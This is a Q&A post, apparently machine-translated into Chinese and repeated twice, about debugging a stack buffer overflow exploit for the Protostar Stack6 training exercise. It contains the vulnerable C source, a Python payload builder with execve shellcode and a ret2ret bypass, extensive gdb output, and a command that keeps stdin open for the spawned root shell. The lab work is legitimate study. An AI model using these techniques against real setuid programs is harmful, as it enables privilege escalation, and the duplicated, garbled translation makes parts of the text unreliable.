Protostar Stack6 - 无缘无故的段错误?
Protostar Stack6 - Segfault for no reason?
所以我正在做 exploit exercises 的原星挑战,我完全被难住了。
Protostar 运行s 在模拟 i686 处理器的虚拟机上。
uname -a
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux
挑战涉及注入格式错误的用户提供的输入以允许 root 访问。可执行文件设置了 setuid 标志并拥有所有者 root。我通过 /tmp/mypipe
中的命名管道提供输入
在 gdb 中 运行
set disassembly-flavor intel
run < /tmp/mypipe
当我在 RET
指令的 getpath() 函数末尾设置断点并向前一步时,一切都按预期进行。我的 shell 代码被执行了。我确认说明与 the source 上的文档完全相同。 (使用带 x/2i $eip
的停止挂钩并单步执行汇编程序)。在 noop sled 和前几条指令下一切正常,直到中断 0x80(系统调用)(0xcd 0x80
)。
有趣的是 gdb 宣布:
Executing new program: /bin/dash
Program received signal SIGSEGV, Segmentation fault.
在那之后什么都没有了。 运行 它再次使用相同的输入只是段错误。尝试 disassemble main
会产生 No symbol "main" in current context.
一旦我关闭 GDB 并重新启动,它会给出与以前相同的行为。没有 shell 实际上是可交互的。从命令行使用相同的有效负载只会产生段错误。
我尝试了很多用 msfvenom 制作的 payload,都是针对 x86 linux 使用不同的编码器,禁止 0x00、0x0a 和 0x0d。我尝试将小的有效负载放入缓冲区,我尝试将它们放在主堆栈框架中及以后的 return 地址后面。我尝试的一切都给我一个段错误。我很困惑为什么这不起作用。这可能与在堆栈上覆盖 EBP 然后 returning 两次有关吗?但是 LEAVE
没有被执行两次,只有 RET
.
怎么回事?
挑战代码是这样的:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
程序逻辑禁止跳转到堆栈。所以很明显你必须跳到别的地方。
我的想法是跳转到 getpath()
末尾的 RET 指令,基本上是从堆栈中弹出另一个地址到 EIP 中,该地址不被程序逻辑检查。
原来从栈顶buf
开始到栈上return指针的第一个字节有80B
我生成格式错误的输入的代码如下所示。
# execenv 28B from http://shell-storm.org/shellcode/files/shellcode-811.php
buf = b""
buf += b"\x31\xc0\x50\x68\x2f\x2f\x73"
buf += b"\x68\x68\x2f\x62\x69\x6e\x89"
buf += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
buf += b"\xcd\x80\x31\xc0\x40\xcd\x80"
# start of buffer = 0xbffff64c
# EIP return on stack = 0xbffff69c
# difference = 80 B
padding = "A"*80
# use noop sled to avoid changing environment variables etc to mess with alignment
noop = (b"\x90")*0x40
# addr of ret command (getpath function)
eip = b"\x08\x04\x84\xf9"
eip = eip[::-1]
# shell code position
eip2 = b"\xbf\xff\xf6\xb0"
eip2 = eip2[::-1]
print (padding + eip + eip2 + noop + buf)
注意:eip = eip[::-1]
颠倒了字节顺序,因为 intel x86 是小端。
编辑:
这里是更详细的机器状态。
disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68
0x0804848a <getpath+6>: mov eax,0x80485d0
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov eax,ds:0x8049720
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and eax,0xbf000000
0x080484bd <getpath+57>: cmp eax,0xbf000000
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.
(gdb) run < /tmp/mypipe
Starting program: /opt/protostar/bin/stack6 < /tmp/mypipe
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[... bunch of gibberish that can't be printed as text]
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) x /32wx $esp
0xbffff69c: 0x080484f9 0xbffff6b0 0x90909090 0x90909090
0xbffff6ac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6bc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6cc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6dc: 0x90909090 0x90909090 0x6850c031 0x68732f2f
0xbffff6ec: 0x69622f68 0x89e3896e 0xb0c289c1 0x3180cd0b
0xbffff6fc: 0x80cd40c0 0x00000000 0x00000000 0x00000001
0xbffff70c: 0x080483d0 0x00000000 0xb7ff6210 0xb7eadb9b
如您所见,函数跳过了 bzzz + 退出,因为 return 地址通过了检查。下一条指令是 ret returns 到 0x080484f9
($esp 的堆栈顶部)。这是ret.
前进一大步
(gdb) stepi
eip 0x80484f9 0x80484f9 <getpath+117>
esp 0xbffff6a0 0xbffff6a0
eax 0xbe 190
ebx 0xb7fd7ff4 -1208123404
0x80484f9 <getpath+117>: ret
0x80484fa <main>: push ebp
0xbffff6a0: 0xbffff6b0 0x90909090 0x90909090 0x90909090
0xbffff6b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6d0: 0x90909090 0x90909090 0x90909090 0x90909090
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 in stack6/stack6.c
还有一个
Cannot access memory at address 0x41414145
我不确定这是怎么回事,也不知道为什么挂钩停止器没有触发,也不知道 0x45 是从哪里来的,但是
(gdb) i r
eax 0xbe 190
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff6a4 0xbffff6a4
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0xbffff6b0 0xbffff6b0
eflags 0x200296 [ PF AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
如您所见,EIP 指向 noop sled。
(gdb) x /60i $eip
0xbffff6b0: nop
0xbffff6b1: nop
0xbffff6b2: nop
[snip]
0xbffff6e2: nop
0xbffff6e3: nop
0xbffff6e4: xor eax,eax
0xbffff6e6: push eax
0xbffff6e7: push 0x68732f2f
0xbffff6ec: push 0x6e69622f
0xbffff6f1: mov ebx,esp
0xbffff6f3: mov ecx,eax
0xbffff6f5: mov edx,eax
0xbffff6f7: mov al,0xb
从那里它可以很好地执行到 int 80,在那里它会出现段错误。
(gdb) x /12i $eip
[skipping all the nops up to here]
0xbffff6e4: xor eax,eax
0xbffff6e6: push eax
0xbffff6e7: push 0x68732f2f
0xbffff6ec: push 0x6e69622f
0xbffff6f1: mov ebx,esp
0xbffff6f3: mov ecx,eax
0xbffff6f5: mov edx,eax
0xbffff6f7: mov al,0xb
0xbffff6f9: int 0x80
0xbffff6fb: xor eax,eax
0xbffff6fd: inc eax
0xbffff6fe: int 0x80
(gdb)
eip 0xbffff6f9 0xbffff6f9
esp 0xbffff698 0xbffff698
eax 0xb 11
ebx 0xbffff698 -1073744232
0xbffff6f9: int 0x80
0xbffff6fb: xor eax,eax
0xbffff698: 0x6e69622f 0x68732f2f 0x00000000 0x90909090
0xbffff6a8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6b8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6c8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6f9 in ?? ()
(gdb)
Executing new program: /bin/dash
Program received signal SIGSEGV, Segmentation fault.
eip 0x805925e 0x805925e
esp 0xbffffcd0 0xbffffcd0
eax 0x3e9 1001
ebx 0xb7fd7ff4 -1208123404
0x805925e: mov ebx,DWORD PTR [esi]
0x8059260: test ebx,ebx
0xbffffcd0: 0x00000011 0x00000000 0x00000000 0xbffffd70
0xbffffce0: 0xbffffd28 0xbffffd34 0x00000000 0xb7fff8f8
0xbffffcf0: 0x00000000 0xb7ffc3e1 0xb7ffb8bc 0x08048bdd
0xbffffd00: 0x00000000 0xb7fe3494 0xbffffd44 0xb7fe3612
0x0805925e in ?? ()
(gdb) x /5i 0x805925e
0x805925e: mov ebx,DWORD PTR [esi]
0x8059260: test ebx,ebx
0x8059262: je 0x8059295
0x8059264: lea esi,[esi+eiz*1+0x0]
0x8059268: mov DWORD PTR [esp+0x4],0x3d
(gdb) i r
eax 0x3e9 1001
ecx 0xa 10
edx 0x805c340 134595392
ebx 0xb7fd7ff4 -1208123404
esp 0xbffffcd0 0xbffffcd0
ebp 0xbffffd98 0xbffffd98
esi 0x0 0
edi 0x0 0
eip 0x805925e 0x805925e
eflags 0x210282 [ SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
编辑 2:
I 运行 来自文件而不是管道的漏洞利用。我得到一个奇怪的结果。我仍然不知道该怎么做。
(gdb) run < /tmp/exploit
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA���������������������������������������������������������������������1�Ph//shh/bin����°
1�@̀
Executing new program: /bin/dash
Program exited normally.
Error while running hook_stop:
The program has no registers now.
当管道或路由输入到程序中时,当提供的源位于其输出的末尾或终止时,stdin 基本上不复存在。因此你不会得到 shell.
Disassemble main 在具有该行为的实例中不再起作用,因为 gdb 加载的程序不再是 stack6,而是 /bin/sh。再次执行 运行 将执行 /bin/sh.
我不知道为什么程序在管道输入 运行 输出时出现段错误。但是对于文件,中断 80 没有出现段错误,之后它 运行 中断 80,eax = 1 调用 exit(ebx),导致正常终止。
要执行漏洞利用,您需要 shell 不需要标准输入的代码,例如 metasploit 反向 tcp 绑定 shell 或者您需要在漏洞执行后提供连续输入.例如像这样:
(cat /tmp/exploit; cat) | ./stack6
这将首先将漏洞利用程序输入到程序中,然后要求用户在标准输入 (cat) 上输入更多内容,然后通过管道将其传递给程序。
所以我正在做 exploit exercises 的原星挑战,我完全被难住了。 Protostar 运行s 在模拟 i686 处理器的虚拟机上。
uname -a
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux
挑战涉及注入格式错误的用户提供的输入以允许 root 访问。可执行文件设置了 setuid 标志并拥有所有者 root。我通过 /tmp/mypipe
在 gdb 中 运行
set disassembly-flavor intel
run < /tmp/mypipe
当我在 RET
指令的 getpath() 函数末尾设置断点并向前一步时,一切都按预期进行。我的 shell 代码被执行了。我确认说明与 the source 上的文档完全相同。 (使用带 x/2i $eip
的停止挂钩并单步执行汇编程序)。在 noop sled 和前几条指令下一切正常,直到中断 0x80(系统调用)(0xcd 0x80
)。
有趣的是 gdb 宣布:
Executing new program: /bin/dash
Program received signal SIGSEGV, Segmentation fault.
在那之后什么都没有了。 运行 它再次使用相同的输入只是段错误。尝试 disassemble main
会产生 No symbol "main" in current context.
一旦我关闭 GDB 并重新启动,它会给出与以前相同的行为。没有 shell 实际上是可交互的。从命令行使用相同的有效负载只会产生段错误。
我尝试了很多用 msfvenom 制作的 payload,都是针对 x86 linux 使用不同的编码器,禁止 0x00、0x0a 和 0x0d。我尝试将小的有效负载放入缓冲区,我尝试将它们放在主堆栈框架中及以后的 return 地址后面。我尝试的一切都给我一个段错误。我很困惑为什么这不起作用。这可能与在堆栈上覆盖 EBP 然后 returning 两次有关吗?但是 LEAVE
没有被执行两次,只有 RET
.
怎么回事?
挑战代码是这样的:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
程序逻辑禁止跳转到堆栈。所以很明显你必须跳到别的地方。
我的想法是跳转到 getpath()
末尾的 RET 指令,基本上是从堆栈中弹出另一个地址到 EIP 中,该地址不被程序逻辑检查。
原来从栈顶buf
开始到栈上return指针的第一个字节有80B
我生成格式错误的输入的代码如下所示。
# execenv 28B from http://shell-storm.org/shellcode/files/shellcode-811.php
buf = b""
buf += b"\x31\xc0\x50\x68\x2f\x2f\x73"
buf += b"\x68\x68\x2f\x62\x69\x6e\x89"
buf += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
buf += b"\xcd\x80\x31\xc0\x40\xcd\x80"
# start of buffer = 0xbffff64c
# EIP return on stack = 0xbffff69c
# difference = 80 B
padding = "A"*80
# use noop sled to avoid changing environment variables etc to mess with alignment
noop = (b"\x90")*0x40
# addr of ret command (getpath function)
eip = b"\x08\x04\x84\xf9"
eip = eip[::-1]
# shell code position
eip2 = b"\xbf\xff\xf6\xb0"
eip2 = eip2[::-1]
print (padding + eip + eip2 + noop + buf)
注意:eip = eip[::-1]
颠倒了字节顺序,因为 intel x86 是小端。
编辑:
这里是更详细的机器状态。
disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68
0x0804848a <getpath+6>: mov eax,0x80485d0
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov eax,ds:0x8049720
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and eax,0xbf000000
0x080484bd <getpath+57>: cmp eax,0xbf000000
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.
(gdb) run < /tmp/mypipe
Starting program: /opt/protostar/bin/stack6 < /tmp/mypipe
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[... bunch of gibberish that can't be printed as text]
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) x /32wx $esp
0xbffff69c: 0x080484f9 0xbffff6b0 0x90909090 0x90909090
0xbffff6ac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6bc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6cc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6dc: 0x90909090 0x90909090 0x6850c031 0x68732f2f
0xbffff6ec: 0x69622f68 0x89e3896e 0xb0c289c1 0x3180cd0b
0xbffff6fc: 0x80cd40c0 0x00000000 0x00000000 0x00000001
0xbffff70c: 0x080483d0 0x00000000 0xb7ff6210 0xb7eadb9b
如您所见,函数跳过了 bzzz + 退出,因为 return 地址通过了检查。下一条指令是 ret returns 到 0x080484f9
($esp 的堆栈顶部)。这是ret.
前进一大步
(gdb) stepi
eip 0x80484f9 0x80484f9 <getpath+117>
esp 0xbffff6a0 0xbffff6a0
eax 0xbe 190
ebx 0xb7fd7ff4 -1208123404
0x80484f9 <getpath+117>: ret
0x80484fa <main>: push ebp
0xbffff6a0: 0xbffff6b0 0x90909090 0x90909090 0x90909090
0xbffff6b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6d0: 0x90909090 0x90909090 0x90909090 0x90909090
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 in stack6/stack6.c
还有一个
Cannot access memory at address 0x41414145
我不确定这是怎么回事,也不知道为什么挂钩停止器没有触发,也不知道 0x45 是从哪里来的,但是
(gdb) i r
eax 0xbe 190
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff6a4 0xbffff6a4
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0xbffff6b0 0xbffff6b0
eflags 0x200296 [ PF AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
如您所见,EIP 指向 noop sled。
(gdb) x /60i $eip
0xbffff6b0: nop
0xbffff6b1: nop
0xbffff6b2: nop
[snip]
0xbffff6e2: nop
0xbffff6e3: nop
0xbffff6e4: xor eax,eax
0xbffff6e6: push eax
0xbffff6e7: push 0x68732f2f
0xbffff6ec: push 0x6e69622f
0xbffff6f1: mov ebx,esp
0xbffff6f3: mov ecx,eax
0xbffff6f5: mov edx,eax
0xbffff6f7: mov al,0xb
从那里它可以很好地执行到 int 80,在那里它会出现段错误。
(gdb) x /12i $eip
[skipping all the nops up to here]
0xbffff6e4: xor eax,eax
0xbffff6e6: push eax
0xbffff6e7: push 0x68732f2f
0xbffff6ec: push 0x6e69622f
0xbffff6f1: mov ebx,esp
0xbffff6f3: mov ecx,eax
0xbffff6f5: mov edx,eax
0xbffff6f7: mov al,0xb
0xbffff6f9: int 0x80
0xbffff6fb: xor eax,eax
0xbffff6fd: inc eax
0xbffff6fe: int 0x80
(gdb)
eip 0xbffff6f9 0xbffff6f9
esp 0xbffff698 0xbffff698
eax 0xb 11
ebx 0xbffff698 -1073744232
0xbffff6f9: int 0x80
0xbffff6fb: xor eax,eax
0xbffff698: 0x6e69622f 0x68732f2f 0x00000000 0x90909090
0xbffff6a8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6b8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6c8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6f9 in ?? ()
(gdb)
Executing new program: /bin/dash
Program received signal SIGSEGV, Segmentation fault.
eip 0x805925e 0x805925e
esp 0xbffffcd0 0xbffffcd0
eax 0x3e9 1001
ebx 0xb7fd7ff4 -1208123404
0x805925e: mov ebx,DWORD PTR [esi]
0x8059260: test ebx,ebx
0xbffffcd0: 0x00000011 0x00000000 0x00000000 0xbffffd70
0xbffffce0: 0xbffffd28 0xbffffd34 0x00000000 0xb7fff8f8
0xbffffcf0: 0x00000000 0xb7ffc3e1 0xb7ffb8bc 0x08048bdd
0xbffffd00: 0x00000000 0xb7fe3494 0xbffffd44 0xb7fe3612
0x0805925e in ?? ()
(gdb) x /5i 0x805925e
0x805925e: mov ebx,DWORD PTR [esi]
0x8059260: test ebx,ebx
0x8059262: je 0x8059295
0x8059264: lea esi,[esi+eiz*1+0x0]
0x8059268: mov DWORD PTR [esp+0x4],0x3d
(gdb) i r
eax 0x3e9 1001
ecx 0xa 10
edx 0x805c340 134595392
ebx 0xb7fd7ff4 -1208123404
esp 0xbffffcd0 0xbffffcd0
ebp 0xbffffd98 0xbffffd98
esi 0x0 0
edi 0x0 0
eip 0x805925e 0x805925e
eflags 0x210282 [ SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
编辑 2:
I 运行 来自文件而不是管道的漏洞利用。我得到一个奇怪的结果。我仍然不知道该怎么做。
(gdb) run < /tmp/exploit
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA���������������������������������������������������������������������1�Ph//shh/bin����°
1�@̀
Executing new program: /bin/dash
Program exited normally.
Error while running hook_stop:
The program has no registers now.
当管道或路由输入到程序中时,当提供的源位于其输出的末尾或终止时,stdin 基本上不复存在。因此你不会得到 shell.
Disassemble main 在具有该行为的实例中不再起作用,因为 gdb 加载的程序不再是 stack6,而是 /bin/sh。再次执行 运行 将执行 /bin/sh.
我不知道为什么程序在管道输入 运行 输出时出现段错误。但是对于文件,中断 80 没有出现段错误,之后它 运行 中断 80,eax = 1 调用 exit(ebx),导致正常终止。
要执行漏洞利用,您需要 shell 不需要标准输入的代码,例如 metasploit 反向 tcp 绑定 shell 或者您需要在漏洞执行后提供连续输入.例如像这样:
(cat /tmp/exploit; cat) | ./stack6
这将首先将漏洞利用程序输入到程序中,然后要求用户在标准输入 (cat) 上输入更多内容,然后通过管道将其传递给程序。